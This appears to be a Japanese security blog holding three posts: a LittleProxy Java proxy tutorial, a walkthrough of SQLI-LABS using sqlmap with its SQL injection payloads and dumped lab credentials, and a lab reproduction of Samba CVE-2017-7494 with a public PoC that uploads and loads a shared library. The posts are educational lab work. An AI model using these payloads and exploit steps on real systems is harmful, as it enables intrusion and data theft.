まったり技術ブログ

Technology is power.

Java製HTTPプロキシライブラリ『LittleProxy』入門編

f:id:motikan2010:20170725011556j:plain

今回はJava製のHTTPライブラリ『LittleProxy』を使ってみます。
Java製のHTTPライブラリは種類豊富だと思っていたのだが、想像していたよりも圧倒的に少なかった。
そんなこともあり、デファクトスタンダードというものもなさそうなので、ほどほどにメンテナンスされている『LittleProxy』を選定。

github.com

準備

プロジェクト管理ツールは「Maven」を使用して"LittleProxy"を導入しています。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.motikan2010</groupId>
    <artifactId>littleproxysample</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <java.version>1.8</java.version>
    </properties>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <version>3.1</version>
                <configuration>
                    <source>${java.version}</source>
                    <target>${java.version}</target>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <dependencies>
        <dependency>
            <groupId>org.littleshoot</groupId>
            <artifactId>littleproxy</artifactId>
            <version>1.1.2</version>
        </dependency>
    </dependencies>

</project>

動作確認

今回、使用したコードは下記のリポジトリにあります。

GitHub - motikan/SampleLittleProxy at 15a48892c2370e24013f4cd36078ae198433658d

プロキシを作成する際に、主に利用するメソッドは下記の4つのメソッドであり、オーバーライドして利用します。
・クライアント → プロキシ
・プロキシ → サーバ
・サーバ → プロキシ
・プロキシ → クライアント
のように各ノード間の通信毎に、特定のメソッド呼び出されるようになっております。 f:id:motikan2010:20170725011900j:plain

プロキシの動作は下記の2種類のcurlコマンドで確認しています。

$ curl -x 127.0.0.1:8080 http://example.com
$ curl -x 127.0.0.1:8080 http://example.com -d "testKey=testValue" -d "testKey2=testValue2" --cookie 'CookieKey1=CookieVal1'

clientToProxyRequest メソッド

f:id:motikan2010:20170725012019j:plain
「クライアント」から「プロキシ」へのリクエスト通信を取得できます。

@Override
public HttpResponse clientToProxyRequest(HttpObject httpObject) {
  System.out.println("=== clientToProxyRequest ===");
  if (httpObject instanceof HttpRequest) {
    System.out.println(httpObject.toString());
  }
  return null;
}
GET http://example.com/ HTTP/1.1
Host: example.com
User-Agent: curl/7.43.0
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 0

HttpRequestオブジェクトに用意されているメソッド

// メソッド
System.out.println("HttpRequest.getMethod() => "
        + ((HttpRequest) httpObject).getMethod());
        //=> GET

// URI
System.out.println("HttpRequest.getUri() => "
        + ((HttpRequest) httpObject).getUri());
        //=> http://example.com/

// HTTPバージョン
System.out.println("HttpRequest.getProtocolVersion() => "
        + ((HttpRequest) httpObject).getProtocolVersion());
        //=> HTTP/1.1

// ヘッダー
HttpHeaders httpHeaders = ((HttpRequest) httpObject).headers();
List<Map.Entry<String,String>> headerList = httpHeaders.entries();
for (Map.Entry<String, String> header : headerList){
    System.out.println(header.getKey() + ": " + header.getValue());
}
// Host: example.comUser-Agent: curl/7.43.0
// Accept: */*
// Proxy-Connection: Keep-Alive
// Content-Length: 0
// Content-Length: 37
// Content-Type: application/x-www-form-urlencoded

HttpContentオブジェクトに用意されているメソッド

if (httpObject instanceof HttpContent) {
    HttpContent httpContent = (HttpContent) httpObject;
    String resposeBody = httpContent.content().toString(Charset.defaultCharset());
    System.out.println(resposeBody);
    //=> testKey=testValue&testKey2=testValue2
}

proxyToServerRequest メソッド

f:id:motikan2010:20170725012101j:plain
「プロキシ」から「サーバ」へのリクエスト通信を取得できます。

@Override
public HttpResponse proxyToServerRequest(HttpObject httpObject) {
  System.out.println("=== proxyToServerRequest ===");
  if (httpObject instanceof HttpRequest) {
    System.out.println(httpObject.toString());
  }
  return null;
}
GET / HTTP/1.1
Host: example.com
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 0
Via: 1.1 XXXXX-no-MacBook-Pro.local

serverToProxyResponse メソッド

f:id:motikan2010:20170725012151j:plain
「サーバ」から「プロキシ」へのレスポンス通信を取得できます。

@Override
public HttpObject serverToProxyResponse(HttpObject httpObject) {
  // レスポンスヘッダ
  if (httpObject instanceof HttpResponse) {
    HttpResponse httpResponse = (HttpResponse) httpObject;
    System.out.println(httpResponse.toString());
    System.out.println();
  }

  // レスポンスボディ
  if (httpObject instanceof HttpContent) {
    HttpContent httpContent = (HttpContent) httpObject;
    String resposeBody = httpContent.content().toString(Charset.defaultCharset());
    System.out.println(resposeBody);
  }
  return httpObject;
}
HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/html
Date: Mon, 24 Jul 2017 14:01:08 GMT
Etag: "359670651+ident"
Expires: Mon, 31 Jul 2017 14:01:08 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (rhv/818F)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1270

<!doctype html>
<html>
<head>
    <title>Example Domain</title>

(中略)

</div>
</body>
</html>

HttpRequestオブジェクトに用意されているメソッド

System.out.println("HttpResponse.getProtocolVersion() => "
        + ((HttpResponse) httpObject).getProtocolVersion());
        //=> HTTP/1.1

System.out.println("HttpResponse.getStatus() => "
        + ((HttpResponse) httpObject).getStatus());
        //=> 200 OK

// ヘッダー
HttpHeaders httpHeaders = ((HttpResponse) httpObject).headers();
List<Map.Entry<String,String>> headerList = httpHeaders.entries();
for (Map.Entry<String, String> header : headerList){
    System.out.println(header.getKey() + ": " + header.getValue());
}
// Accept-Ranges: bytes
// Cache-Control: max-age=604800
// Content-Type: text/html
// Date: Mon, 24 Jul 2017 15:16:04 GMT
// Etag: "359670651"
// Expires: Mon, 31 Jul 2017 15:16:04 GMT
// Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
// Server: EOS (lax004/2816)
// Content-Length: 1270

proxyToClientResponse メソッド

f:id:motikan2010:20170725012125j:plain
「プロキシ」から「クライアント」へのレスポンス通信を取得できます。

@Override
public HttpObject proxyToClientResponse(HttpObject httpObject) {
  // レスポンスヘッダ
  if (httpObject instanceof HttpResponse) {
    HttpResponse httpResponse = (HttpResponse) httpObject;
    System.out.println(httpResponse.toString());
    System.out.println();
  }

  // レスポンスボディ
  if (httpObject instanceof HttpContent) {
    HttpContent httpContent = (HttpContent) httpObject;
    String resposeBody = httpContent.content().toString(Charset.defaultCharset());
    System.out.println(resposeBody);
  }
  return httpObject;
}
HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Type: text/html
Date: Mon, 24 Jul 2017 14:01:08 GMT
Etag: "359670651+ident"
Expires: Mon, 31 Jul 2017 14:01:08 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (rhv/818F)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1270
Via: 1.1 XXXXX-no-MacBook-Pro.local

<!doctype html>
<html>
<head>
    <title>Example Domain</title>

(中略)

</body>
</html>

プロキシでいろいろ

レスポンスボディの改ざん

littleproxy-example/ReplacePostContentFilterProxy.java at master · MediumOne/littleproxy-example · GitHub

プロキシの得意分野である、レスポンスボディの改ざん(リプレース)をやってみます。
「プロキシ」から「ブラウザ」に返されるレスポンスボディを「Example」→「motikan2010」に文字列を置き換えています。

@Override
public HttpObject proxyToClientResponse(HttpObject httpObject) {
  if (httpObject instanceof FullHttpResponse) {
      httpObject = doReplace((FullHttpResponse) httpObject);
  }
  return httpObject;
}

private FullHttpResponse doReplace(FullHttpResponse fullHttpResponse){

  CompositeByteBuf contentBuf = (CompositeByteBuf) fullHttpResponse.content();

  String contentStr = contentBuf.toString(CharsetUtil.UTF_8);
  String newBody = contentStr.replace("Example", "motikan2010");

  ByteBuf bodyContent = Unpooled.copiedBuffer(newBody, CharsetUtil.UTF_8);

  contentBuf.clear().writeBytes(bodyContent);
  HttpHeaders.setContentLength(fullHttpResponse, newBody.length());
  return fullHttpResponse;
}
$ curl -x 127.0.0.1:8080 http://example.com <!doctype html>
<html>
<head>
    <title>motikan2010 Domain</title>

(中略)

<body>
<div>
    <h1>motikan2010 Domain</h1>
    <p>This domain is established to be used for illustrative examples in documents. You may use this
    domain in examples without prior coordination or asking for permission.</p>
    <p><a href="http://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>

リクエストのブロック

プロキシはクライアントからの通信をブロックするのも得意分野です。

littleproxy-example/BlockingFilterProxy.java at master · MediumOne/littleproxy-example · GitHub

@Override
public HttpResponse clientToProxyRequest(HttpObject httpObject) {
  if(httpObject instanceof  HttpRequest) {
      HttpRequest request = (HttpRequest) httpObject;
      if(request.getUri().endsWith("png") || request.getUri().endsWith("jpeg")){
          return getBadGatewayResponse();
      }
  }

  return null;
}

private HttpResponse getBadGatewayResponse() {
  String body = "<!DOCTYPE HTML \"-//IETF//DTD HTML 2.0//EN\">\n"
          + "<html><head>\n"
          + "<title>"+"Bad Gateway"+"</title>\n"
          + "</head><body>\n"
          + "An error occurred"
          + "</body></html>\n";
  byte[] bytes = body.getBytes(Charset.forName("UTF-8"));
  ByteBuf content = Unpooled.copiedBuffer(bytes);
  HttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.BAD_GATEWAY, content);
  response.headers().set(HttpHeaders.Names.CONTENT_LENGTH, bytes.length);
  response.headers().set("Content-Type", "text/html; charset=UTF-8");
  response.headers().set("Date", ProxyUtils.formatDate(new Date()));
  response.headers().set(HttpHeaders.Names.CONNECTION, "close");
  return response;
}
$ curl -x 127.0.0.1:8080 http://hatenablog.com/images/touch/guide-app/apple-badge@2x.png -vv
*   Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET http://hatenablog.com/images/touch/guide-app/apple-badge@2x.png HTTP/1.1
> Host: hatenablog.com
> User-Agent: curl/7.43.0
> Accept: */*
> Proxy-Connection: Keep-Alive
>
< HTTP/1.1 502 Bad Gateway
< Content-Length: 130
< Content-Type: text/html; charset=UTF-8
< Date: Mon, 24 Jul 2017 16:04:17 GMT
< Connection: close
<
<!DOCTYPE HTML "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>Bad Gateway</title>
</head><body>
An error occurred</body></html>
* Closing connection 0

まとめ

以外とJavaでフォワードプロキシの情報が少なかった。
FiddlerCoreが有名なこともあってか、C#にシェアが取られているのかな。そんなことも思いながらLittleProxyをさわってみましたが、 想像していたより、十分な機能を持っていると思う。今回はまだ試してないがSSLにも対応しているという情報もありましたので、次に試してみる。HTTPSの通信を取れないプロキシなんて・・。
Javaという利点を活かして最終的にはOWASP ZAPからコードを拝借して、SaaS型の診断ツールなんかを作ってみたい…。
ちなみに今回の記事のサムネイル作成は下記の参考にした。
サムネイル作成…楽しい✌(‘ω'✌ )三✌('ω’)✌三( ✌'ω')✌

makee-1.com

SQLインジェクション体験ツール『SQLI-LABS』で遊ぶ

f:id:motikan2010:20170611163739j:plain
今回使ってみた「SQLI-LABS」には65種類(問題一覧からは75問あるように見えたが404だった…)のSQLiを学べるらしいので早速遊んでみました。
動作DBはMySQLです。

github.com

環境構築

インストール

インストールは非常に簡単で、リポジトリをWebサーバ上のドキュメントルート上に配置するだけ。

$ cd /var/www/html/
$ git clone https://github.com/Audi-1/sqli-labs.git
$ cd sqli-labs

データベース設定

「security」データベース参照が固定になっているので、
ここで変更するのは、ユーザ名とパスワードだけがいいです。

$ vim sql-connections/db-creds.inc
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>

データベース・テーブル初期化

http://(Webサーバ)/sqli-labs/」にアクセスします。f:id:motikan2010:20170611100736p:plain
[Setup/reset Database for labs]にアクセスすると使用するデータベースの初期化行われます。

f:id:motikan2010:20170611101218j:plain

これで「SQLI-LABS」が使えるようになります。

動作確認

一番簡単であろう、「Less-1 (GET - Error based - Single quotes - String)」からさわってみます。
f:id:motikan2010:20170611141146j:plain

「idパラメータに数字を入力」と書かれた黒い画面が表示されます。 f:id:motikan2010:20170611140728j:plain
指示通りに「?id=1」を入力します。 f:id:motikan2010:20170611142107j:plain
ユーザ情報が表示されました。いかにもidパラメータにSQLiがありそう。
次に「'」を入力します。 DBエラーになりました。 f:id:motikan2010:20170611142619j:plain
「'‘」を入力。
今度はエラーにならないことから、やはり「id」パラメータにSQLiの疑いがあります。 f:id:motikan2010:20170611142901j:plain

sqlmapでSQLi

手動でテーブル等を取得するのも手間なので、ここは自動でSQLiの検出、SQLiを利用してのデータ取得を自動的に行ってくれる「sqlmap」を使ってみます。
難易度が上がるごとに、手動だと検出さえできないものもあるかと思いますので、早速使用していきます。
github.com

ツールの使用オプションなどはこちらを参照。

Usage · sqlmapproject/sqlmap Wiki · GitHub

Less-1 (GET - Error based - Single quotes - String)

「—」の間に表示されているのが、検出されたSQLiの種類を表している。
テーブルの内容も取得できていることが分かる。改めてSQLiコワイ。

$ python2.6 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 4906=4906 AND 'gcKD'='gcKD

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 9809 FROM(SELECT COUNT(*),CONCAT(0x71786b7a71,(SELECT (ELT(9809=9809,1))),0x7162767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'uTqI'='uTqI

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'aTCG'='aTCG

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-6200' UNION ALL SELECT NULL,CONCAT(0x71786b7a71,0x556f6374546f58637a724149634156656161507666636d644a4c7264676271716f754a6f6f525945,0x7162767a71),NULL-- bzyx
---

(中略)

Database: security
Table: users
[13 entries]
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
| 1  | Dumb     | Dumb       |
| 2  | Angelina | I-kill-you |
| 3  | Dummy    | p@ssword   |
| 4  | secure   | crappy     |
| 5  | stupid   | stupidity  |
| 6  | superman | genious    |
| 7  | batman   | mob!le     |
| 8  | admin    | admin      |
| 9  | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

(以下省略)

どんどんレベルを上げていくことにする。
下記3つも特にオプションを指定せずに、テーブルの内容を取得することができた。

  • Less-2 (GET - Error based - Intiger based)
  • Less-3 (GET - Error based - Single quotes with twist - string)
  • Less-4 (GET - Error based - Double Quotes - String)

Less-5 (GET - Double Injection - Single Quotes - String)

時間短縮のために下記2点を変更しました。

  • 「–dbms MySQL」オプションの付与
  • 「–dump」オプション(レコード内容を取得)を「–banner」オプション(DBのバナー情報を取得)に変更
$ python2.6 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-5/?id=1" --banner --dbms MySQL

(中略)

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5282=5282 AND 'FCUt'='FCUt

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 6146 FROM(SELECT COUNT(*),CONCAT(0x7170707a71,(SELECT (ELT(6146=6146,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vYqp'='vYqp

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'KeMK'='KeMK
---

(中略)

web server operating system: Linux CentOS 6.8
web application technology: PHP 5.4.36, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
banner:    '5.1.73-log'

続けて、下記4点も突破することができた。

  • Less-6 (GET - Double Ingection - Double Quotes - String)
  • Less-7 (GET - Dump into outfile - String)
  • Less-8 (GET - Blind - Boolian Based - Single Quotes)
  • Less-9 (GET - Blind - Time based. - Single Quotes)

Less-10 (GET - Blind - Time based - double quotes)

level 1 ⇒ 失敗
$ python2.6 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-10/?id=1" --banner --dbms MySQL

(中略)

[09:06:48] [WARNING] GET parameter 'id' does not seem to be injectable

デフォルトでは「--level」オプションの値は"1"になっていますので、今度は「--level 2」オプションを付与してやってみます。

level 2 ⇒ 成功
$ python2.6 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-10/?id=1" --banner --dbms MySQL --level 2

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1" AND 1115=1115 AND "FYxx"="FYxx

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1" AND SLEEP(5) AND "Kufp"="Kufp
---

Less-11 (POST - Error Based - Single quotes - String)

$ python2.6 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-11/" --data="uname=Dumb&passwd=Dumb&submit=Submit" --dbms MySQL

---
Parameter: passwd (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: uname=Dumb&passwd=Dumb' AND 7224=7224 AND 'XczC'='XczC&submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: uname=Dumb&passwd=Dumb' AND (SELECT 5640 FROM(SELECT COUNT(*),CONCAT(0x7176767171,(SELECT (ELT(5640=5640,1))),0x716b627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'iIig'='iIig&submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: uname=Dumb&passwd=Dumb' AND SLEEP(5) AND 'nfze'='nfze&submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: uname=Dumb&passwd=-3874' UNION ALL SELECT CONCAT(0x7176767171,0x59794449726d6876654c757179796c4d50685572796a746d796a6c747a756a4c4b5073507a595746,0x716b627671),NULL-- LzoO&submit=Submit

Parameter: uname (POST)
    Type: boolean-based blind

(以下省略)
---

網羅するのも大変ですので、気になるタイトルのものに手をつけてみます。

Less-18 (POST - Header Injection - Uagent field - Error based)

$ python2.6 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-18/index.php" --data="uname=Dumb&passwd=Dumb&submit=Submit" --headers="User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36" --dbms MySQL --level 3

---
Parameter: User-Agent (User-Agent)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36' AND (SELECT 8176 FROM(SELECT COUNT(*),CONCAT(0x7171717171,(SELECT (ELT(8176=8176,1))),0x71707a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'canv'='canv

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36' OR SLEEP(5) AND 'emKT'='emKT
---

Less-23 (GET - Error based - strip comments)

$ python2.6 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-23/?id=1" --banner --dbms MySQL

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6234=6234 AND 'sZEB'='sZEB

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 2226 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT (ELT(2226=2226,1))),0x71707a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'sIMQ'='sIMQ

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'gHxA'='gHxA
---

Less-53 (GET - Blind based - ORDER BY CLAUSE - String - stacked injection)

$ python2.6 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-53/?sort=0" --banner --dbms MySQL --level 2

---
Parameter: sort (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: sort=0' RLIKE (SELECT (CASE WHEN (1167=1167) THEN 0 ELSE 0x28 END)) AND 'uqmm'='uqmm

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sort=0' AND (SELECT * FROM (SELECT(SLEEP(5)))VcHi) AND 'ISSZ'='ISSZ
---

(中略)

web server operating system: Linux CentOS 6.8
web application technology: PHP 5.4.36, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.12
banner:    '5.1.73-log'

「SQLi-LABS Page-4 (Challenges)」は回数制限ありのSQLiの問題が集まっているようでした。SQLi力のない私はそっとじ・・・。

 軽く「SQLI-LABS」をさわってみましたが、sqlmapを使うための学習にうってつけのツールでした。

Sambaの脆弱性〜CVE-2017-7494をやってみる〜

f:id:motikan2010:20170531012815p:plain

5月24日に公開された、ファイル共有によく利用されるSambaの脆弱性「CVE-2017-7494」を実際に構築・PoCでの検証を行ってみます。
f:id:motikan2010:20170531215510j:plain

概要・対策に関しては、下記の記事が参考になる。

CVE-2017-7494 - Red Hat Customer Portal

oss.sios.com

環境構築

  • OS:Centos 6.9

Sambaのインストール事前準備

$ yum install -y gcc
$ yum install -y python-devel
$ yum install -y gnutls-devel
$ yum install -y libacl-devel
$ yum install -y openldap-devel

Samba(4.5.9)をインストール

今回は脆弱性が存在しているバージョン(4.5.9)を利用します。
古いバージョンですので、ソースからインストールしてみます。

$ wget https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz
$ tar zxvf samba-4.5.9.tar.gz
$ cd samba-4.5.9
$ ./configure
$ make
$ make install

# 下記のディレクトリが作成されており、インストールされていることが確認できます。
$ ls /usr/local/samba/
bin  etc  include  lib  lib64  private  sbin  share  var

# 設定ファイルを設置
$ cp examples/smb.conf.default /usr/local/samba/etc/smb.conf

外部からの通信許可

iptableファイルを編集し、外部からSambaに対して通信の許可を行います。

$ vim /etc/sysconfig/iptables
下記のルールを追加
-A INPUT -m state --state NEW -m udp -p udp --dport 137 -j ACCEPT
-A INPUT -m state --state NEW -m udp -p udp --dport 138 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 139 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 445 -j ACCEPT

# iptables再起動
$ service iptables restart

動作確認

設置した設定ファイルが正常に読み込まれるかを確認します。

$ cd /usr/local/samba/

$ bin/testparm
Load smb config files from /usr/local/samba/etc/smb.conf
rlimit_max: increasing rlimit_max (1024) to minimum Windows limit (16384)
Processing section "[homes]"
Processing section "[printers]"
Loaded services file OK.
Server role: ROLE_STANDALONE

Press enter to see a dump of your service definitions

# Global parameters
[global]
    server string = Samba Server
    workgroup = MYGROUP
    log file = /usr/local/samba/var/log.%m
    max log size = 50
    server role = standalone server
    dns proxy = No
    idmap config * : backend = tdb


[homes]
    comment = Home Directories
    browseable = No
    read only = No


[printers]
    comment = All Printers
    path = /usr/spool/samba
    browseable = No
    printable = Yes

Samba設定が表示され、正常に読み込まれていることが確認でます。

Sambaアカウントの作成

$ useradd samba -p sambpass
$ bin/smbpasswd -a samba
New SMB password:(sambpass)
Retype new SMB password:(sambpass)
Added user samba.

外部からのSambaへの接続を許可する

初期設定では、内部からのみアクセス可能になっています。

;   hosts allow = 192.168.1. 192.168.2. 127.
↓ 下記のように、アクセス元のIPアドレスに修正
hosts allow = 157.XXX.XXX.XXX

Sambaを起動

下記のコマンドでSambaを起動することができます。

$ sbin/smbd
$ sbin/nmbd

プロセスの確認

Sambaが動作していることを確認することができます。

$ ps aux | grep smbd
root      4228  0.0  0.5 394700  6048 ?        Ss   23:08   0:00 sbin/smbd
root      4229  0.0  0.2 386240  2620 ?        S    23:08   0:00 sbin/smbd
root      4230  0.0  0.2 386232  2340 ?        S    23:08   0:00 sbin/smbd
root      4232  0.0  0.3 394708  3124 ?        S    23:08   0:00 sbin/smbd
root      4236  0.0  0.0 103344   900 pts/0    R+   23:08   0:00 grep smbd
$ ps aux | grep nmbd
root      4234  0.0  0.2 320588  2688 ?        Ss   23:08   0:00 sbin/nmbd
root      4238  0.0  0.0 103344   912 pts/0    S+   23:08   0:00 grep nmbd

Sambaへ接続

Sambaクライアントをインストールし、外部から接続できることを確認します。

# Sambaクライアントのインストール
$ yum -y install samba-client

# Sambaクライアントで接続
$ smbclient --user=samba //163.XXX.XXX.XXX/homes
Enter samba's password:(smbpass)
Domain=[MYGROUP] OS=[Windows 6.1] Server=[Samba 4.5.9]
smb: \> ls
  .                                   D        0  Tue May 30 23:40:20 2017
  ..                                  D        0  Tue May 30 23:22:52 2017
  .bash_profile                       H      176  Thu Mar 23 09:15:00 2017
  .bashrc                             H      124  Thu Mar 23 09:15:00 2017
  .bash_logout                        H       18  Thu Mar 23 09:15:00 2017

接続元のカレントディレクトリに「Sample.txt」がある場合に、ファイルのアップロード

smb: \> put Sample.txt
smb: \> ls Sample.txt
  Sample.txt                          A        0  Tue May 30 23:50:43 2017

PoCを試してみる

攻撃側のGit等のツールはインストール済みの状態から初めてみます。
ここからはPoCを実行する「攻撃側」、Sambaが動作している「Samba側」を分けて記述していきます。

こちらのPoCを利用します。
github.com

攻撃側

アップロードする共有ライブラリの準備を行っていきます。

$ git clone https://github.com/omri9741/cve-2017-7494.git
$ cd cve-2017-7494/
$ python --version
Python 2.7.9
$ pip install -r requirements.txt

$ cd payload
$ chmod +x build.sh
$ ./build.sh
$ ls libpoc.so
libpoc.so
$ cd ..
$ mv payload/libpoc.so .

読み込ませる共有ライブラリをSambaの共有領域内に配置します。

$ smbclient --user=samba //163.XXX.XXX.XXX/homes
Enter samba's password:
Domain=[MYGROUP] OS=[Windows 6.1] Server=[Samba 4.5.9]

smb: \> put libpoc.so
putting file libpoc.so as \libpoc.so (1918.9 kb/s) (average 1918.9 kb/s)
Samba側

libpoc.soが配置されていることを確認します。
さらに、今回はPoCが実行されることを確認しやすいように、Sambaはデバッグモードで起動します。
これでSambaが動作中にどのようなモジュールを読み込むのかなどを確認することができます。

$ ls -l /home/samba/libpoc.so
-rwxr-xr-x 1 samba samba 5895  5月 31 00:10 2017 /home/samba/libpoc.so

# Sambaを停止
$ pkill smbd

# デバッグモードでSambaを起動
$ sbin/smbd -i --debuglevel=10

PoCを実行

攻撃側
$ python2.7 exploit.py -t 163.XXX.XXX.XXX -m /home/samba/libpoc.so
Samba側(デバッグ内容)
Probing module '/home/samba/libpoc.so'
Error loading module '/home/samba/libpoc.so': /home/samba/libpoc.so: 共有オブジェクトファイルを開けません: 許可がありません
is_known_pipename: /home/samba/libpoc.so unknown

メッセージから分かるとおり、権限がなく失敗しています。
パーミッションを少し変更してみます。
パーミッションは「drwx — –x」となり、パブリックフォルダだと考えれば、ありそうな感じ。

$ ls -l /home/
drwx------ 2 samba samba 4096  5月 31 00:24 2017 samba

$ chmod 701 /home/samba
$ ls -l /home/
drwx-----x 2 samba samba 4096  5月 31 00:24 2017 samba
追記(2017/5/31)

後々調べてみると、アクセスできない理由は、共有オブジェクトファイルをロードする権限がnobodyユーザ権限であるかららしい。
下記はPoCのオブジェクトファイル内で「id」コマンドを実行してみた結果。

Probing module '/home/samba/libpoc.so'
Module '/home/samba/libpoc.so' loaded
uid=99(nobody) gid=0(root) 所属グループ=0(root),99(nobody)

/home/sambaのパーミッションが700だと、当然ながらnobodyユーザではアクセスすることができない。

$ sudo -u nobody cat /home/samba/libpoc.so
cat: /home/samba/libpoc.so: 許可がありません

再度PoCを実行してみます。

libpoc.so内のコードが実行されれば成功です。

攻撃側

先ほどと同様に実行します。

$ python2.7 exploit.py -t 163.XXX.XXX.XXX -m /home/samba/libpoc.so
Samba側(デバッグ内容)
Probing module '/home/samba/libpoc.so'
Module '/home/samba/libpoc.so' loaded
hello from cve-2017-7494 poc! ;)

「hello from cve-2017-7494 poc! ;)」が表示され、なんとか実行することができた。

まとめ

今回はVPS間で検証を行ってみたが、自宅PCのSambaクライアントからVPS上のSambaに接続することができなかった。少し調べてみると下記のような記事を見つけた。
私もこれが原因だったのだろうか。
Sambaは外部ネットワーク(WAN)に公開できない? | meideru blog

そうだとするとSambaは元々外部に公開するために作られたものではなさそう。
確かにネット上で Windowsファイル共有は使ったことがなく、ローカルで使われているイメージがある。外部に公開されているのがレアだと考えると、この脆弱性でなにか問題が起こるのはなさそう。